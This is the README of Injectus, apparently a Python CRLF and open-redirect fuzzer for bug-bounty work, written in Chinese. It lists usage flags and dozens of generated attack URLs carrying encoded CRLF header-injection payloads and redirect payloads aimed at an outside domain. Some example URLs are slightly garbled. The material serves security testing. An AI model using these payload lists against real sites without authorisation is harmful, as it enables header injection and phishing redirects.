
CRLF and open redirect fuzzer
简单的 Python 工具,遍历 URL 列表,尝试 CRLF 和开放重定向 payload。
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~ BOUNTYSTRIKE ~
用法: Injectus [-h] [-f FILE] [-u URL] [-r] [-w WORKERS] [-t TIMEOUT]
[-d DELAY] [-c] [-op]
CRLF 和开放重定向模糊测试工具。由 @dubs3c 打造。
可选参数:
-h, --help 显示此帮助信息并退出
-f FILE, --file FILE 包含 URL 的文件
-u URL, --url URL 要测试的单个 URL
-r, --no-request 仅构建攻击列表,不执行任何请求
-w WORKERS, --workers WORKERS
异步工作器数量,默认为 10
-t TIMEOUT, --timeout TIMEOUT
HTTP 请求超时时间,默认为 6 秒
-d DELAY, --delay DELAY
请求之间的延迟,默认为 1 秒
-c, --crlf 仅执行 CRLF 攻击
-op, --openredirect 仅执行开放重定向攻击
需要一个简单的 CRLF / 开放重定向扫描器,以便将其集成到我的漏洞赏金工作流中,该工作流位于 https://github.com/BountyStrike/Bountystrike-sh。没有找到满足需求的工具,因此我创建了 Injectus。这是一次小小的实验,看看它是否比其他工具效果更好。
如果我们有以下 URL:
https://dubell.io/?param1=value1&url=value2¶m3=value3
对于 CRLF 攻击,Injectus 会将每个 payload 依次注入到每个参数的值中,每个参数尝试所有 payload。例如,针对上述 URL,Injectus 会生成以下列表:
https://dubell.io/?param1=%%0a0abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%0abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%0d%0abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%0dbounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%23%0dbounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%25%30%61bounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%25%30abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%250abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%25250abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%3f%0dbounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%u000abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=value1&url=%%0a0abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%0abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%0d%0abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%0dbounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%23%0dbounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%25%30%61bounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%25%30abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%250abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%25250abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%3f%0dbounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%u000abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=value2¶m3=%%0a0abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%0abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%0d%0abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%0dbounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%23%0dbounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%25%30%61bounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%25%30abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%250abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%25250abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%3f%0dbounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%u000abounty:strike
如你所见,每个 CRLF payload 被注入到第一个参数的值中。循环完成后,Injectus 会将每个 payload 注入到第二个参数,以此类推。当所有参数都被注入后,列表就完成了。
如果没有查询参数,Injectus 会简单地将每个 payload 追加到 URL 后面,如下所示:
https://dubell.io/some/path/%%0a0abounty:strike
https://dubell.io/some/path/%0abounty:strike
https://dubell.io/some/path/%0d%0abounty:strike
https://dubell.io/some/path/%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%25%30%61bounty:strike
https://dubell.io/some/path/%25%30abounty:strike
https://dubell.io/some/path/%250abounty:strike
https://dubell.io/some/path/%25250abounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%u000abounty:strike
当注入开放重定向 payload 时,Injectus 仅在有查询/路径参数包含典型重定向关键词(如 url)时才会注入 payload。对 URL https://dubell.io/?param1=value1&url=dashboard¶m3=value3 的注入结果:
https://dubell.io/?param1=value1&url=$2f%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2f$2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io//param3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=////bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=///bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=//bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/\x08ountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/http://bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=bountystrike.ioparam3=value3
该 URL 包含查询参数 url,因此 Injectus 将 payload 注入到该参数中。
使用路径参数时的示例。原始 URL 为 https://dubell.io/some/path/that/redirect/dashboard:
https://dubell.io/some/path/that/redirect/$2f%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2f$2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io//
https://dubell.io/some/path/that/redirect/////bountystrike.io
https://dubell.io/some/path/that/redirect////bountystrike.io
https://dubell.io/some/path/that/redirect///bountystrike.io
https://dubell.io/some/path/that/redirect//\x08ountystrike.io
https://dubell.io/some/path/that/redirect//bountystrike.io
https://dubell.io/some/path/that/redirect//http://bountystrike.io
https://dubell.io/some/path/that/redirect/bountystrike.io
如前所述,如果未找到查询参数或路径参数,Injectus 会简单地将每个 payload 追加到 URL 后面:
https://dubell.io/$2f%2fbountystrike.io%2f%2f
https://dubell.io/%2f$2fbountystrike.io
https://dubell.io/%2fbountystrike.io%2f%2f
https://dubell.io/%2fbountystrike.io
https://dubell.io/%2fbountystrike.io//
https://dubell.io/////bountystrike.io
https://dubell.io////bountystrike.io
https://dubell.io///bountystrike.io
https://dubell.io//\\bountystrike.io
https://dubell.io//bountystrike.io
https://dubell.io//http://bountystrike.io
https://dubell.io/bountystrike.io
pip3.7 install -r requirements.txt --user
欢迎任何反馈或想法!想要改进某些内容?创建一个 pull request!
git checkout -b my-new-featurepre-commit installgit commit -am 'Add some feature'git push origin my-new-feature